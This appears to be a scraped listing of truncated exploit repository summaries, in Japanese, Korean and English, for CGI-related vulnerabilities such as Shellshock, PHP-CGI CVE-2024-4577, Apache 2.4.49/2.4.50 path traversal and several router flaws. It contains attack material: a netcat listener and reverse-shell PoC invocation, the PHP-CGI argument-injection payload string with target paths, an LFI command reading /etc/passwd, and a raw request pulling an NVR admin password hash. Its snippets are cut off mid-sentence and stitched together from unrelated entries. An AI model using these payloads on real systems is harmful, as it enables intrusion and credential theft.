CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 root@kitploit: nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei 페이로드: root@kitploit: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input root@kitploit: 테스트 URL: root@kitploit: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload 참고:...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE 用のPython3スクリプトです。RCEにはcgi-binが有効である必要があります。 はじめに プログラムの実行 LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: python3 apache2.4.50.py -t http://apache.hack/...

CVE-2024-4577

CVE-2024-4577, PHP-CGI의 인수 삽입 root@kitploit: ./CVE-2024-4577.sh /path/to/domains-list POC : root@kitploit: POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type:...

CVE-2024-4577

CVE-2024-4577 概要 CVE-2024-4577 は、以下のバージョンの PHP サーバーに影響を与えるセキュリティ脆弱性です。 PHP 8.3.x 8.3.8 以前 PHP 8.2.x 8.2.20 以前 PHP 8.1.x 8.1.29 以前 8.0 より前のすべてのバージョン サポートされていないバージョン 7.x および 5.x この脆弱性は、Windows サーバー上で PHP CGI Common Gateway Interface を使用する際に発生するリモートコード実行 RCE の欠陥です。問題は、一部の言語設定で「最適な文字マッピング」が使用されているために...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd まず、'admin'アカウントのMD5ハッシュパスワードを取得します。 送信: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6.3; WOW64; rv:55.0...

CVE-2021-41773

CVE-2021-41773 재현 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited v2.4.49 Apache 전용 취약점입니다. 초기 버전에는 apnormalizepath 함수가 없었으며, 이 함수는 v2.4.49 버전에서 도입되었습니다. 이 함수가 디렉터리 트래버설을 유발했으며, v2.4.50에서 수정되었습니다. 환경 https://github.com/1nhann/CVE-2021-41773 이...

CVE-2024-4577-EXPLOIT

CVE-2024-4577 - PHP CGI 引数インジェクション リモートコード実行 RCE 特定のバージョンのPHP（8.1. 8.1.29未満、8.2. 8.2.20未満、8.3. 8.3.8未満）において、Windows上でApacheとPHP-CGIを使用する場合に深刻な脆弱性が存在します。システムが特定のコードページを使用するように設定されている場合、Windowsの「Best-Fit」動作により、Win32...

CVE-2019-0232

脆弱性環境 root@kitploit: Tomcat 8.5.39 Jdk 8u121 web.xml ファイルを編集 root@kitploit: cgi org.apache.catalina.servlets.CGIServlet debug 0 cgiPathPrefix WEB-INF/cgi-bin executable 5 cgi /cgi-bin/ ファイルを編集...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773のPoC - CGIが有効なApache 2.4.49 使用方法 : root@kitploit: chmod -x CVE-2021-41773.sh ./CVE-2021-41773.sh http://ip:port/ /etc/passwd 参照 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://vulners.com/cve/CVE-2021-41773...

CVE-2024-4577

PHP-CGI Windowsプラットフォームのリモートコード実行脆弱性 CVE-2024-4577 概要 PHP は Hypertext Preprocessor（ハイパーテキストプリプロセッサ）の略で、現在広く使用されているオープンソースのスクリプト言語です。Web 開発や HTML への埋め込みに特に適しており、使い方はとても簡単です。 CGI は英語で Common Gateway Interface（共通ゲートウェイインターフェース）と呼ばれ、Apache が PHP スクリプトを処理する際に PHP プログラムを CGI...

WebminRCE-exploit

WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - File Manager 権限の悪用 このPoCをテストするための脆弱なアプリケーションは、Dockerイメージとしてこちらにあります。 前提条件： Python3 requestsモジュール 説明 脆弱性 不適切なアクセス制御によるリモートコード実行 安全なユーザー（非特権ユーザー）は、デフォルトで制限されるべきFile Managerモジュールにアクセスできます。 エクスプロイトペイロード 不適切なアクセス制御の脆弱性を利用して、cgiファイルをWebminサーバーにアップロードします。...

CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - D-Link リモートコード実行（RCE）エクスプロイト 説明 このリポジトリには、特定のD-Linkデバイスで見つかった重大な脆弱性である CVE-2024-3273 のエクスプロイトが含まれており、リモートコード実行（RCE）が可能です。この脆弱性は、nassharing.cgi CGIスクリプトの不適切な入力検証に起因し、攻撃者が認証なしで任意のコマンドを実行できるようにします。 影響 CVE-2024-3273 を悪用すると、影響を受けるデバイスへの不正アクセスが可能になり、攻撃者は以下を行うことができます： システム設定の改ざん...

PHP-CGI-RCE-Scanner

PHP CGI RCE CVE-2024-4577 スキャナー 教育目的のみのツールです。法的責任は負いません。 URLリストでCVE-2024-4577の脆弱性をスキャンします。 エクスプロイトを送信するだけでなく、PHPバージョンとphp-cgiが存在するかどうかも確認します。 エクスプロイトが成功する（または失敗する）理由をより詳しく把握できます。 使い方 root@kitploit: install dependencies pip install -r requirements.txt write urls to urls.txt vim urls.txt run scanne...

CVE-2026-73673

CVE-2026-73673: Netis NC63 における未認証ファームウェア更新と暗号学的ファームウェア認証の欠如 脆弱性のオリジナル研究: Özcan Ersan @ozcanpng。 このリポジトリは、著者が発見し報告したCVE-2026-73673を文書化したものです。 CVE-2026-73673 に関する非破壊的な概念実証（PoC）と証拠パッケージです。 Netis NC63 ファームウェア V3.0.0.3327 は、特権を要するファームウェア更新エンドポイント /cgi-bin/uploadfw.cgi...

CVE-2019-0232

脆弱性環境 root@kitploit: Tomcat 8.5.39 Jdk 8u121 web.xml ファイルの編集 root@kitploit: cgi org.apache.catalina.servlets.CGIServlet debug 0 cgiPathPrefix WEB-INF/cgi-bin executable 5 cgi /cgi-bin/ ファイルの編集...

CVE-2026-94098 Netcore NBR200V2 Firmware Upgrade CGI Endpoint upgrade command injection

A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERYSTRING leads to command injection. The attack can be executed...

CVE-2026-94098

A command injection vulnerability exists in the Netcore NBR200V2 router (firmware 1.3.241127.071246 ), specifically in the Firmware Upgrade CGI Endpoint at /www/cgi-bin/upgrade. An attacker can remotely exploit this by manipulating the QUERY_STRING argument, achieving high impact to confidentiali...

EUVD-2026-83810

A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERYSTRING leads to command injection. The attack can be executed...

The vulnerability in the main() function of the /HNAP1/dllog.cgi file of the CGI Binary component of the D-Link DIR-882 wireless router software allows a attacker to disclose protected information.

The vulnerability in the main function of the /HNAP1/dllog.cgi file of the CGI Binary component of the D-Link DIR-882 wireless router software is related to insufficient protection for sensitive data. Exploiting this vulnerability could allow an attacker to disclose confidential information...